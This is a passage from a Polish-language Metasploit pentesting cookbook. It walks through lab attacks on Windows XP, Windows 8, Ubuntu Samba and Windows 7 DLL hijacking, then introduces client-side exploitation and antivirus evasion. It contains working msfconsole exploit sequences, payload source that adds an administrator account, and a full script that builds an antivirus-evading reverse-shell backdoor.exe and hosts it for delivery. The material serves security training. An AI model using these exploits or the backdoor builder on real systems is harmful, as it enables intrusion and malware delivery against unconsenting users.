root@bt:~# cd /opt/metasploit/msf3/modules/payloads/singles/windows root@bt:/opt/metasploit/msf3/modules/payloads/singles/windows# less adduser.rb
Interesujące są dla nas następujące fragmenty kodu: # Opcje wykonywania poleceń rejestracji register_options( [ OptString.new('USER', [ true, "The username to create", "metasploit" ]), // Nazwa użytkownika, która ma zostać // utworzona, to… OptString.new('PASS', [ true, "The password for this user", "metasploit" ]), // Hasło dla tego użytkownika to… ], self.class) # Ukrycie opcji CMD deregister_options('CMD') end # # Nadpisanie ciągu poleceń wykonawczych # def command_string user = datastore['USER'] || 'metasploit' pass = datastore['PASS'] || '' if(pass.length > 14) raise ArgumentError, "Password for the adduser payload must be 14 characters or less" // Hasło dla ładunku adduser nie może // przekraczać 14 znaków end return "cmd.exe /c net user #{user} #{pass} /ADD && " + "net localgroup Administrators #{user} /ADD" end
Komentarze poprzedzone w listingu symbolem # pozwolą Ci lepiej zrozumieć ten kod. Jest on prosty i oczywisty. Najpierw rejestrowane są wartości dla nazwy użytkownika oraz hasła. Potem ukrywana jest funkcja CMD, aby nie pojawiała się na ekranie maszyny docelowej, gdy ładunek będzie wykonywany. Dalej nadpisywany jest ładunek windows/exec, aby przesłać wartości parametrów i uruchomić niewidoczny znak zachęty wiersza poleceń działający w tle. Możesz pobawić się kodem i dokonać własnych zmian. To pomoże Ci bardziej zgłębić świat ładunków.
82
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
Uzyskiwanie zdalnego dostępu poprzez wiązanie powłoki na maszynie docelowej W poprzedniej recepturze przeanalizowaliśmy sposób eksploatacji maszyny z systemem Windows SP2 i procedurę dodawania nowego konta użytkownika. Jednak połączenie było przerywane natychmiast po zastosowaniu exploita. W tej recepturze pójdziemy krok dalej i przeprowadzimy wiązanie powłoki na maszynie docelowej, co umożliwi konfigurację zdalnego połączenia z celem i przejęcie nad nim kontroli. Proces ten jest podobny do opisanego w poprzedniej recepturze. Musimy jedynie użyć innego ładunku, który uruchomi powłokę na maszynie docelowej.
Przygotuj się Zaczniemy od uruchomienia konsoli msfconsole, a nasz cel będzie taki sam jak w podrozdziale „Testy penetracyjne maszyny docelowej z systemem Windows XP SP2”. Wykorzystamy tę samą lukę w zabezpieczeniach dcom, a następnie użyjemy innego ładunku, aby tym razem przeprowadzić wiązanie powłoki z celem.
Jak to wykonać Aby wykonać wiązanie powłoki na maszynie docelowej, przeprowadźmy następujące czynności: Zaczniemy od wybrania exploita dcom dla maszyny docelowej. Skonfigurujemy różne parametry exploita, a następnie wybierzemy ładunek: msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) > show options Module options (exploit/windows/dcerpc/ms03_026_dcom): Name Current Setting ---- --------------RHOST RPORT 135
Required -------yes yes
Description ----------The target address The target port
Exploit target: Id -0
Name ---Windows NT SP3-6a/2000/XP/2003 Universal
msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102 RHOST => 192.168.56.102
83
Metasploit. Receptury pentestera
Teraz, kiedy exploit jest skonfigurowany, przejdziemy do ładunku. Użycie polecenia show payloads wyświetli listę wszystkich dostępnych ładunków. Wykorzystamy ładunek windows/shell/ bind_tcppayload, który otworzy połączenie TCP na porcie
4444 (domyślnie) na maszynie docelowej i zapewni nam powłokę poleceń: msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp PAYLOAD => windows/shell/bind_tcp W tym momencie za pomocą polecenia show options możemy skonfigurować inne istotne elementy, takie jak RHOST, czy zmienić port domyślny. Po skonfigurowaniu
parametrów uruchomimy exploit. Spójrzmy na dane wynikowe po wykonaniu polecenia: msf exploit(ms03_026_dcom) > exploit [*] Started reverse handler on 192.168.56.101:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (240 bytes) to 192.168.56.102 [*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.102:1052) at 2011-10-31 01:55:42 +0530 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>
Exploit został wykonany pomyślnie i uzyskaliśmy znak zachęty wiersza poleceń w konsoli msfconsole. Teraz ta sesja może zostać wykorzystana w celu uzyskania pełnego zdalnego dostępu do maszyny docelowej. Możemy opuścić tę sesję w każdym momencie za pomocą polecenia exit. Prawdopodobnie rozumiesz już, jak szerokie możliwości oferują ładunki dostępne we frameworku Metasploit. Wypróbuj samodzielnie różne dostępne ładunki, aby zrozumieć ich funkcjonalność.
Jak to działa Działanie exploita dcom jest identyczne, jak opisano w poprzedniej recepturze. Aby zrozumieć funkcjonowanie ładunku bind_tcp, będziemy musieli trochę poczekać, gdyż wiąże się to z pewnymi pojęciami, którymi zajmiemy się w jednym z kolejnych rozdziałów tej książki. Mimo to możesz już teraz rzucić okiem na ładunek zapisany w kodzie języka Ruby, przechodząc do pliku /pentest/exploits/framework3/modules/payloads/stagers/windows/bind_tcp.rb.
84
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
Zobacz również Co dalej? W jaki sposób dostęp do powłoki może zapewnić przejęcie kontroli nad celem?
Przejmowanie pełnej kontroli nad maszyną docelową Kiedy mamy połączenie powłoki na maszynie docelowej, możemy uzyskać do niej pełny dostęp za pomocą wiersza poleceń. W tym momencie możemy przejść dalej, aby eksplorować maszynę docelową za pomocą popularnych dostępnych poleceń systemu DoS. Niektóre z podstawowych operacji to wyświetlanie listy katalogów, kopiowanie plików i folderów, tworzenie klientów użytkownika itd.
Testy penetracyjne systemu Windows 8 Windows 8, najpopularniejszy system operacyjny firmy Microsoft, został opublikowany w październiku 2012 r. Został zaprojektowany z myślą o komputerach stacjonarnych, notebookach, tabletach i zestawach kina domowego PC. System Windows 8 jest bezpieczniejszy niż poprzednie systemy operacyjne firmy Microsoft. Posiada wbudowany system ochrony typu antymalware o nazwie Windows Defender, więc nie należy się przejmować, jeśli program antywirusowy nie jest zainstalowany. Jeżeli jakiekolwiek złośliwe oprogramowanie pojawi się w systemie, zostanie natychmiast usunięte. Tradycyjne praktyki, stosowane w systemach operacyjnych takich jak Windows XP, polegają na uruchomieniu exploita, który w przypadku udanego ataku dostarczy ładunek. Ładunki są łatwo wykrywalne dla programu Windows Defender, a jeśli chce się uzyskać dostęp przez internet, pojawia się komunikat w postaci wyskakującego okna. Aby zabezpieczyć się podczas przeprowadzania ataku, możemy skorzystać z narzędzia strzykawki (ang. syringe utility). Przyjrzyjmy się, w jaki sposób można za pomocą tej techniki złamać zabezpieczenia systemu Windows 8.
Przygotuj się Na początek potrzebujemy maszyny atakującej z systemem BackTrack 5 R3, maszyny atakowanej z systemem Windows 8 oraz narzędzia strzykawki, czyli pliku wykonawczego .exe (do pobrania ze strony https://code.google.com/p/syringe-antivirus-bypass/).
Jak to wykonać Najpierw musimy utworzyć kod powłoki w pliku o nazwie syringe.sh z następującą zawartością: export interface=eth0export ourIP=$(ifconfig $interface | awk '/inet addr/ {split ($2,A,":"); print A[2]}')export port=$(shuf -i 2000-65000 -n 1)
85
Metasploit. Receptury pentestera
echo -e "\e[01;32m[>]\e[00m Generating payload..."payload=$(msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=$port LHOST=$ourIP R | msfencode -a x86 –e x86/alpha_mixed -t raw BufferRegister=EAX) echo -e "\e[01;32m[>]\e[00m Creating .exe..." tar -xvf syringe_files.tar echo "syringe.exe -3 $payload" > s.bat echo ";!@Install@!UTF-8!" > config.txt echo "GUIMode=\"2\"" >> config.txt echo "RunProgram=\"hidcon:s.bat\"" >> config.txt echo ";!@InstallEnd@!" >> config.txt 7z a files.7z s.bat syringe.exe cat 7zsd.sfx config.txt files.7z> backdoor.exe cp backdoor.exe /var/www/ rm config.txt s.bat files.7z 7zsd.sfx syringe.exe echo -e "\e[01;32m[>]\e[00m Starting Web server..." service apache2 start echo -e "\e[01;32m[>]\e[00m Backdoor is hosted on http://$ourIP/backdoor.exe"
Uruchommy ten kod powłoki za pomocą poniższego polecenia: root@bt:/# ./syringe.sh
Dane wynikowe będą następujące: root@bt:~# cd Desktop root@bt:~/Desktop# ./syringe.sh [>] Generating payload... [*] x86/alpha_mixed succeeded with size 634 (iteration=1) [>] Creating EXE... 7zsd.sfx syringe.exe 7-Zip 9.04 beta Copyright (c) 1999-2009 Igor Pavlov 2009-05-30 p7zip Version 9.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU) Scanning Creating archive files.7z Compressing s.bat Compressing syringe.exe Everything is Ok [>] Starting Web server... * Starting web server apache2 [ OK ] [>] Backdoor is hosted on http://192.168.129.128/backdoor.exe [>] Running metasploit... [*] Please wait while we load the module tree... METASPLOIT CYBER MISSILE COMMAND V4 PAYLOAD => windows/meterpreter/reverse_tcp LHOST => 192.168.129.128 LPORT => 55681 [*] Started reverse handler on 192.168.129.128:55681
86
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
[*] Starting the payload handler... [*] Sending stage (752128 bytes) to 192.168.129.140 [*] Meterpreter session 1 opened (192.168.129.128:55681 -> 192.168.129.140:49157) at 2013-06-07 20:36:18 +0530 meterpreter >
Jak to działa Osadziliśmy właśnie w pliku powłoki kod dla exploita i ładunku wraz z kodowaniem msf w samym pliku powłoki. Następnie stworzyliśmy archiwum sfx za pomocą programu 7zip (wbudowana funkcja w systemie BackTrack 5 R3), załączając takie pliki jak syringe.exe oraz s.bat. Przyjrzyjmy się, co właściwie zawiera plik s.bat. Plik s.bat składa się z ładunku w surowej postaci binarnej, który można uzyskać w sposób przedstawiony na poniższym rysunku.
Ten surowy kod jest następnie umieszczany w pliku wsadowym. Wraz z plikiem wsadowym użyliśmy skryptu VB (ang. Visual Basic), aby ukryć okno polecenia podczas uruchamiania pliku wsadowego. Ten skrypt można pobrać wraz z kodami źródłowymi dołączonymi do książki. Rzućmy okiem na plik wsadowy, który widać na rysunku na następnej stronie.
87
Metasploit. Receptury pentestera
Teraz jesteśmy gotowi, aby uruchomić kod powłoki omówiony wcześniej w punkcie „Jak to wykonać”. Podczas wykonywania kodu powłoki syringe.sh utworzony zostaje plik o nazwie backdoor.exe. Naszym kolejnym zadaniem jest załadowanie tego pliku na maszynę docelową z systemem Windows 8 za pośrednictwem internetu, załącznika poczty e-mail lub ręcznie. Kiedy dany plik .exe zostanie otwarty na maszynie docelowej, otrzymamy połączenie odwrócone z maszyną docelową. Wszystko zostało już skonfigurowane i możemy przejść dalej.
Zobacz również Zabezpieczenia systemu Windows 8 mogą być złamane za pomocą exploitów Java, dostępnych we frameworku Metasploit. Można to wykonać za pomocą polecenia use multi/browser/java_ signed_applet. Mimo to podczas wykonywania ładunku nadal wyświetlane jest ostrzeżenie, więc zastosowanie narzędzia strzykawki jest lepszym rozwiązaniem. Więcej informacji na ten temat znajdziesz na stronie http://www.securitygeeks.net/2013/04/how-to-hack-windows-8using-metasploit.html. Aby uzyskać więcej informacji na temat programowania powłoki, zapoznaj się ze stroną http://linuxcommand.org/writing_shell_scripts.php.
Eksploatacja maszyny docelowej z systemem Linux (Ubuntu) Oprócz Windowsa jednym z najszerzej stosowanych systemów operacyjnych jest również system Linux. W kilku poprzednich recepturach dowiedziałeś się, jak można penetrować maszynę docelową z systemem Windows, eksploatując krytyczne błędy dostępnych usług. W tej recepturze zajmiemy się systemami operacyjnymi Linux. Skorzystamy z dystrybucji Ubuntu 9.0,
88
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
ale proces eksploatacji będzie podobny w każdej wersji systemów Linux oraz Solaris z uruchomioną usługą Samba. Przejdźmy do receptury.
Przygotuj się Zaczniemy od skanowania maszyny docelowej z systemem Linux, aby zebrać informacje o dostępnych usługach. Przeprowadźmy szybkie skanowanie narzędziem nmap i przeanalizujmy wyniki: msf > nmap -sT 192.168.56.101 [*] exec: nmap 192.168.56.101 Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST Warning: Traceroute does not support idle or connect scan, disabling... Nmap scan report for 192.168.56.101 Host is up (0.00048s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1) |_html-title: Index of / 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME) MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ )
Zebraliśmy już informacje na temat celu. Kolejnym krokiem będzie wybór exploita i odpowiedniego ładunku.
Jak to wykonać Proces penetracji maszyny docelowej z systemem Linux jest podobny do procedur stosowanych dla systemu Windows: Musimy się jedynie skupić na wyborze właściwego exploita i ładunku. Poszukajmy
jakiegoś exploita Samby dostępnego w katalogu frameworku Metasploit: msf > search Samba Powyższe polecenie dostarczy listę różnych modułów pomocniczych oraz exploitów dla usługi Samba. Wykorzystamy moduł exploit/linux/samba/lsa_transnames_heap, który jest oznaczony na liście rangą good (dobry). Oznacza to, że zapewnia wyższe
89
Metasploit. Receptury pentestera
prawdopodobieństwo przeprowadzenia eksploatacji celu. Ustawmy ten exploit jako aktywny i skonfigurujmy parametry: msf > use exploit/linux/samba/lsa_transnames_heap msf exploit(lsa_transnames_heap) > show options Module options (exploit/linux/samba/lsa_transnames_heap): Name Current Setting Required Description ------------------ -------- ----------RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE LSARPC yes The pipe name to use Exploit target: Id -0
Name ---Linux vsyscall
msf exploit(lsa_transnames_heap) > set RHOST 192.168.56.101 RHOST => 192.168.56.101 msf exploit(lsa_transnames_heap) > Kolejnym zadaniem jest wybranie ładunku. Musimy mieć na uwadze, że skoro
celem jest maszyna z systemem Linux, musimy do wykonania testów penetracyjnych wybrać ładunek przeznaczony dla Linuksa. Wykorzystamy ładunek linux/x86/shell_bind_tcp, który działa podobnie jak bind_tcp, analizowany w poprzednich recepturach dla systemu Windows: msf exploit(lsa_transnames_heap) > set PAYLOAD linux/x86/shell_bind_tcp PAYLOAD => linux/x86/shell_bind_tcp msf exploit(lsa_transnames_heap) > show options Module options (exploit/linux/samba/lsa_transnames_heap): Name Current Setting Required Description ------------------ -------- ----------RHOST 192.168.56.101 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE LSARPC yes The pipe name to use Payload options (linux/x86/shell_bind_tcp): Name Current Setting Required Description ------------------------ ----------LPORT 4444 yes The listen port RHOST 192.168.56.101 no The target address. Wszystko zostało skonfigurowane i ostatnim krokiem jest uruchomienie exploita
w celu rozpoczęcia procesu eksploatacji:
90
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
msf exploit(lsa_transnames_heap) > exploit [*] [*] [*] [*]
Started bind handler Creating nop sled.... Trying to exploit Samba with address 0xffffe410... Connecting to the SMB service...
Po pomyślnym wykonaniu exploita będziemy mieli zapewnione połączenie powłoki z maszyną docelową. Proces jest podobny do tego, który omawialiśmy w poprzednich recepturach. Jedyna różnica polega na wyborze konkretnych exploitów i ładunków. Im więcej wypróbujesz kombinacji exploitów i ładunków, tym więcej będziesz wiedział na ten temat.
Jak to działa Omówmy teraz usługę Samba, przeznaczone dla niej exploity oraz sposób ich działania. Samba jest wykorzystywana do współdzielenia zasobów, takich jak drukarki i pliki, pomiędzy komputerami z systemami Linux i Windows. Moduł exploita wywołuje przepełnienie sterty w usłudze LSA RPC demona Samby. Wykorzystuje w tym celu metodę talloc chunk overwrite (podziękowania dla Ramona oraz Adriano), która działa tylko z wersjami 3.0.21 i 3.0.24 usługi Samba. Exploit wykorzystuje dynamiczną alokację pamięci w stercie. Może się zdarzyć, że wykonanie exploita nie powiedzie się przy pierwszej próbie. Aby osiągnąć sukces, musisz spróbować kilka razy. Talloc jest hierarchicznym alokatorem pamięci. Każdy fragment alokatora talloc jest potencjalnie elementem nadrzędnym dla innych fragmentów tego alokatora. Moduł przepełnienia stert Samby lsa_io_trans_ names wywołuje przepełnienie sterty w usłudze LSA RPC demona Samby. Moduł ten wykorzystuje metodę talloc chunk overwrite, która działa tylko z wersją Samby 3.0.21 oraz 3.0.24. Dodatkowo, moduł nie działa, kiedy parametr dziennika Samby log level jest wyższy niż 2.
Zobacz również Omówmy inne istotne moduły związane z systemem operacyjnym Linux.
Inne istotne moduły exploitów dla systemu Linux Oprócz modułu exploita opisanego w tej recepturze są jeszcze dwa moduły, które zasługują na uwagę. Powinieneś samodzielnie przetestować te exploity, aby lepiej zrozumieć ich działanie. Są one następujące: Samba chain:_reply Memory Corruption — ten exploit działa poprzez uszkodzenie pamięci przydzielanej pakietom odpowiedzi w wersjach Samby wcześniejszych niż 3.3.13. Pamięć zostaje uszkodzona w wyniku przekazania wartości większej niż docelowy rozmiar bufora.
91
Metasploit. Receptury pentestera
Samba trans2open Overflow — jest to luka w zabezpieczeniach w wersjach Samby
2.2.0 oraz 2.2.8, która powoduje przepełnienie bufora. Exploit wykorzystuje brak ustawionej opcji noexec na maszynach Linux x86.
Wstrzykiwanie bibliotek DLL w systemie Windows W tej recepturze zajmiemy się szczególnego rodzaju luką w zabezpieczeniach, która nie znajduje się bezpośrednio w systemie operacyjnym Windows. Posiadają ją różne aplikacje uruchamiane w tym systemie. Ten wektor ataku wykorzystuje klasę luk w zabezpieczeniach, które wpływają na sposób ładowania przez aplikacje zewnętrznych bibliotek. Przyjrzyjmy się temu bliżej.
Przygotuj się Ten wektor ataku polega na tworzeniu podatnych na ataki ścieżek lub katalogów, które cel będzie musiał uruchomić. Katalogiem może być plik, wyodrębnione archiwum, napęd USB, zasób sieciowy itd. Utworzony plik będzie całkowicie nieszkodliwy, ale wykona kod wstrzyknięcia bibliotek DLL w celu złamania zabezpieczeń systemu.
Jak to wykonać Przeanalizujmy praktyczną implementację wstrzyknięcia bibliotek DLL. W tym przykładzie maszyna docelowa ma zainstalowany niezaktualizowany system Windows 7 Ultimate. Proces polega na stworzeniu odwołania do udostępnionego pliku, do którego cel będzie musiał uzyskać dostęp i go wykonać. Zrozumiesz ten proces, gdy przejdziemy dalej. Użyjemy modułu exploit/windows/browser/webdav_dll_hijacker jako exploita oraz modułu windows/meterpreter/bind_tcp jako ładunku. Skonfigurujmy szybko exploit
oraz ładunek wraz z innymi wymaganymi parametrami: msf > use exploit/windows/browser/webdav_dll_hijacker msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(webdav_dll_hijacker) > show options Module options (exploit/windows/browser/webdav_dll_hijacker): Name Current Setting Required Description ----------------------------------BASENAME policy yes The base name for the listed EXTENSIONS txt yes The list of extensions
92
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
SHARENAME SRVHOST SRVPORT SSLCert URIPATH
documents 0.0.0.0 80 /
yes yes yes no yes
The name of the top-level The local host... The daemon port to listen Path to a custom SSL.. The URI to use
Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ------------------------- ----------EXITFUNC process yes Exit technique: seh.. LPORT 4444 yes The listen port RHOST 192.168.0.20 no The target address Exploit target: Id Name -- ---0 Automatic
Poszczególne parametry exploitów pomogą w utworzeniu konkretnego pliku i zasobu najwyższego poziomu. Parametr BASENAME zawiera nazwę pliku, który ma zostać utworzony, a EXTENSIONS określa typ tego pliku. Parametr SHARENAME jest nazwą udostępnionego katalogu najwyższego poziomu, który zostanie utworzony w celu uzyskania dostępu. Parametr SRVHOST to lokalny port nasłuchujący, a SRVPORT to numer portu, na którym port SRVHOST będzie nasłuchiwał połączenia. Po skonfigurowaniu odpowiednich parametrów exploita i ładunku następnym
krokiem jest wykonanie exploita. Zobaczmy, co się wtedy stanie: msf exploit(webdav_dll_hijacker) > exploit [*] Exploit running as background job. [*] Started bind handler [*] [*] Exploit links are now available at \\192.168.0.20\documents\ Po pomyślnym wykonaniu exploita rozpoczyna się nasłuchiwanie połączenia,
a także dostarczenie udostępnionego odwołania do zasobu, który cel będzie musiał otworzyć, aby uruchomić exploit. Przejdźmy do ekranu maszyny docelowej, aby zobaczyć, co się dzieje — zobacz pierwszy rysunek na następnej stronie. Użytkownik zobaczy prosty plik policy.txt, który został udostępniony przez atakującego. Plik jest całkowicie nieszkodliwy. Kiedy użytkownik uruchomi ten plik, ustanowione zostaną połączenie z maszyną atakującego oraz połączenie powłoki. Wykonane zostaną biblioteki DLL i dostrzeżesz dużą aktywność na ekranie konsoli msfconsole. Po udanym wstrzyknięciu bibliotek DLL będziemy mieli ustanowione połączenie powłoki, tak jak widać na drugim rysunku na następnej stronie.
93
Metasploit. Receptury pentestera
Jak to działa Sprawdźmy, co wywołuje tę lukę w zabezpieczeniach. Biblioteki DLL (ang. Dynamic Link Library) są stworzoną przez Microsoft implementacją współdzielonej biblioteki dla systemu Windows. Pliki DLL to pliki wykonywalne kojarzone z programem w trakcie jego wykonywania. 94
Rozdział 3. • Ocena podatności na ataki na podstawie systemu operacyjnego
Służą do ładowania powiązanych z nim bibliotek współdzielonych. Gdy aplikacja zostaje uruchomiona, funkcja loadlibrary() ładuje wymagane biblioteki DLL w trakcie wykonywania programu. Jeżeli nie jest określona lokalizacja bibliotek DLL, które mają być załadowane, lub dostarczona przez aplikację ścieżka dostępu do nich nie jest w pełni kwalifikowana, wtedy system Windows używa własnego zestawu zdefiniowanych procedur, aby odnaleźć biblioteki. Jedną z lokalizacji w domyślnej kolejności wyszukiwania jest bieżący katalog roboczy. Teraz, gdy użytkownik maszyny docelowej odwiedzi współdzieloną lokalizację, wejdzie w obręb strefy kontrolowanej przez atakującego. W jaki sposób? Udostępniony plik (policy.txt) zawiera mniej kwalifikowaną ścieżkę dostępu do biblioteki DLL, więc gdy użytkownik docelowy wykonuje plik, system Windows uruchamia własne poszukiwanie brakującej biblioteki DLL. Ponieważ bieżący katalog roboczy (/documents) jest kontrolowany przez atakującego, może on dodać w nim złośliwy kod DLL, który zostanie wykonany przez system Windows (dlatego że bieżący katalog roboczy jest jednym z domyślnych miejsc, w których system Windows szuka bibliotek). Złośliwa biblioteka DLL może dać atakującemu możliwość wykonywania skryptów zewnętrznych. Dzięki temu wykonywany jest ładunek, który ustanawia połączenie powłoki, dając atakującemu pełny dostęp do systemu docelowego. W taki sposób przygotowany został cały wektor ataku.
Zobacz również Do wyszukiwania wstrzyknięć bibliotek DLL możemy użyć prostego narzędzia opracowanego przez H. D. Moore’a. Omówmy je pokrótce.
Zestaw narzędzi DLLHijackAudit autorstwa H. D. Moore’a H. D. Moore, twórca frameworku Metasploit, stworzył narzędzie służące do przeprowadzania audytu bezpieczeństwa. Możesz go użyć do przetestowania Twojego systemu pod kątem luk związanych z wstrzykiwaniem bibliotek DLL. Narzędzie wykorzystuje aplikację monitorującą procesy oraz interpreter języka Ruby. Działanie narzędzia polega na monitorowaniu, czy uzyskiwany był dostęp do biblioteki DLL w katalogu roboczym powiązanego pliku. Generowane są również raporty z testów. Narzędzie oraz szczegółową dokumentację można znaleźć na stronie https://community.rapid7.com/community/metasploit/blog/2010/08/24/better-faster-stronger-dllhijackauditkit-v2.
95
Metasploit. Receptury pentestera
96
4 Eksploatacja typu client-side oraz omijanie ochrony antywirusowej W tym rozdziale: Luka execCommand Use-After-Free w zabezpieczeniach przeglądarki Internet Explorer Luka Adobe Flash Player „new function” związana z wyjątkiem niewłaściwego użycia wskaźnika Przepełnienie stosu bufora formatu RTF aplikacji Microsoft Word Uszkodzenie pamięci przy obsłudze formatu U3D w aplikacji Adobe Reader Generowanie pliku binarnego oraz kodu powłoki za pomocą narzędzia msfpayload Schematy kodowania za pomocą narzędzia msfencoding oraz współczynnik
wykrycia Zastosowanie skryptu killav.rb do wyłączania ochrony antywirusowej Wyłączanie usług programów antywirusowych z poziomu wiersza poleceń Korzystanie z narzędzia strzykawki
Metasploit. Receptury pentestera
Wprowadzenie W poprzednim rozdziale skoncentrowaliśmy się na przeprowadzaniu testów penetracyjnych systemu operacyjnego maszyny docelowej. Systemy operacyjne stanowią pierwszy poziom penetracji celu, ponieważ jeśli są niezałatane i niezaktualizowane, łatwo poddają się eksploatacji. Pozwala to zredukować wysiłki związane z poszukiwaniem innych metod przeprowadzania penetracji. Jednak sytuacja może się zmieniać. W niektórych przypadkach firewall może blokować pakiety skanowania, uniemożliwiając nam uzyskanie informacji na temat systemu operacyjnego celu oraz otwartych portów. Istnieje również możliwość, że cel będzie miał włączone aktualizacje automatyczne, więc luki w zabezpieczeniach systemu operacyjnego będą regularnie łatane. To także może uniemożliwić przeprowadzenie ataku podczas testu penetracyjnego. Zastosowanie takich środków bezpieczeństwa może uniemożliwić nam uzyskanie dostępu do maszyny docelowej poprzez eksploatację znanych luk w zabezpieczeniach wykorzystywanego przez nią systemu operacyjnego. Musimy więc zrobić krok naprzód. Tutaj do gry wchodzą techniki przeprowadzania eksploatacji od strony punktów końcowych sieci (ang. client-side exploitation) oraz omijania zabezpieczeń antywirusowych. Przyjrzyjmy się najpierw wektorom ataków typu client-side. Załóżmy, że pentester dowiedział się, iż na maszynie docelowej zainstalowany jest zaktualizowany system operacyjny Windows XP SP3, a przeglądarka Internet Explorer w wersji 7 jest domyślnie wykorzystywana do uzyskiwania dostępu do internetu oraz innych usług sieciowych. Może więc teraz przygotować złośliwy adres URL, zawierający wykonywalny skrypt, który wykorzystuje znaną lukę w zabezpieczeniach przeglądarki IE 7. Pentester buduje niewinnie wyglądającą stronę HTML i tworzy hiperłącze, które zawiera wspomniany złośliwy adres URL. Następnie, wykorzystując narzędzia socjotechniczne, przesyła daną stronę HTML użytkownikowi końcowemu i stara się zachęcić go do kliknięcia złośliwego hiperłącza. Ponieważ link ten zawiera znany exploit przeglądarki IE 7, może złamać jej zabezpieczenia i umożliwić dalsze wykonanie kodu, co zapewni pentesterowi okazję do przejęcia kontroli nad systemem docelowym. Wtedy pentester może otworzyć tylną furtkę, wpuścić wirusa itd. Co się właściwie teraz stanie? Choć maszyna docelowa posiada załataną i zaktualizowaną wersję systemu Windows, domyślna przeglądarka IE 7 nie jest zaktualizowana, ponieważ została zaniedbana przez docelowego użytkownika. Umożliwia to pentesterowi przygotowanie odpowiedniego scenariusza i wykorzystanie luki w zabezpieczeniach przeglądarki w celu włamania się do danego systemu. Opisany powyżej scenariusz to prosty atak typu client-side, w którym użytkownik docelowy nieświadomie wykonuje skrypt eksploatujący lukę w zabezpieczeniach używanej przez siebie aplikacji. Po udanym wykonaniu exploita atakujący łamie zabezpieczenia systemu. Metasploit oferuje dla kilku popularnych programów szeroki wachlarz modułów exploitów, które mogą być wykorzystane do przeprowadzania ataków typu client-side. W tym rozdziale omówimy kilka popularnych narzędzi, takich jak Internet Explorer, pakiet Microsoft Office,
98
Rozdział 4. • Eksploatacja typu client-side oraz omijanie ochrony antywirusowej
Adobe Reader, Flash itd. Przeprowadźmy szybką analizę procesu eksploatacji client-side w Metasploit. Naszym celem będzie przeprowadzenie udanego ataku na cel za pomocą techniki eksploatacji client-side oraz ustanowienie połączenia powłoki. W Metasploit taki proces penetracji podzielony został na dwa proste etapy: 1. Dla wybranej jako cel aplikacji generowany jest odpowiedni złośliwy link lub plik. Potem na konkretnym porcie uruchamiane jest nasłuchiwanie połączenia zwrotnego z maszyny docelowej. Następnie atakujący wysyła złośliwy link lub plik do użytkownika docelowego. 2. Po wykonaniu przez użytkownika docelowego złośliwego linku lub pliku przeprowadzana jest eksploatacja wskazanej aplikacji, a Metasploit natychmiast przenosi ładunek do innych procesów systemu Windows. Dzięki temu połączenie nie zostanie przerwane, nawet jeśli aplikacja docelowa ulegnie awarii (z powodu exploita) lub zostanie zamknięta przez użytkownika. Opisane etapy staną się jasne, kiedy omówimy receptury oparte na atakach client-side. W tym rozdziale skoncentrujemy się na niektórych kluczowych aplikacjach przeznaczonych dla systemu operacyjnego Windows. Zaczniemy od przeanalizowania exploitów client-side dla przeglądarek. Przyjrzymy się różnym lukom przeglądarki Internet Explorer (wersje 6, 7 i 8) oraz technikom namierzania ich w celu przeprowadzenia penetracji maszyny docelowej. Następnie przejdziemy do kolejnego popularnego pakietu oprogramowania o nazwie Microsoft Office (wersje 2003 i 2007) i przeanalizujemy lukę w zabezpieczeniach związaną z formatem pliku. Potem zajmiemy się lukami w zabezpieczeniach formatu PDF i sposobem wykorzystania złośliwego pliku PDF do złamania zabezpieczeń użytkownika. Na koniec omówimy bardzo istotny aspekt testów penetracyjnych, jakim jest omijanie ochrony antywirusowej. Skoncentrujemy się na obejściu zabezpieczeń antywirusowych po stronie klienta w celu przeprowadzenia eksploatacji maszyny docelowej bez uruchamiania alarmów. W tym rozdziale wykorzystamy w pełni możliwości frameworku Metasploit, co uprzyjemni Ci lekturę i zachęci do samodzielnej implementacji opisanych rozwiązań. Przejdźmy do receptur zamieszczonych w tym rozdziale.
Luka execCommand Use-After-Free w zabezpieczeniach przeglądarki Internet Explorer Ten moduł eksploatuje lukę w zabezpieczeniach przeglądarki Microsoft Internet Explorer (MSIE). Podczas fazy renderowania strony HTML dochodzi do nieoczekiwanego usunięcia obiektu CMshtmlEd, ale te same zasoby pamięci są później ponownie wykorzystywane w funkcji CMshtmlEd::Exec(), co prowadzi do powstania sytuacji określanej jako „użycie po uwolnieniu” (ang. use-after-free).
99
Metasploit. Receptury pentestera
Przeglądarka Microsoft Internet Explorer posiada wadę typu use-after-free, która jest związana z wykorzystaniem przez funkcję CMshtmlEd::Exec() pamięci obiektu CMshtmlEd po tym, jak obiekt został usunięty w trakcie renderowania strony HTML. Umożliwia to uzależnionemu od kontekstu atakującemu wykonanie losowego kodu poprzez podstępne zachęcenie użytkownika do otwarcia specjalnie spreparowanej strony WWW.
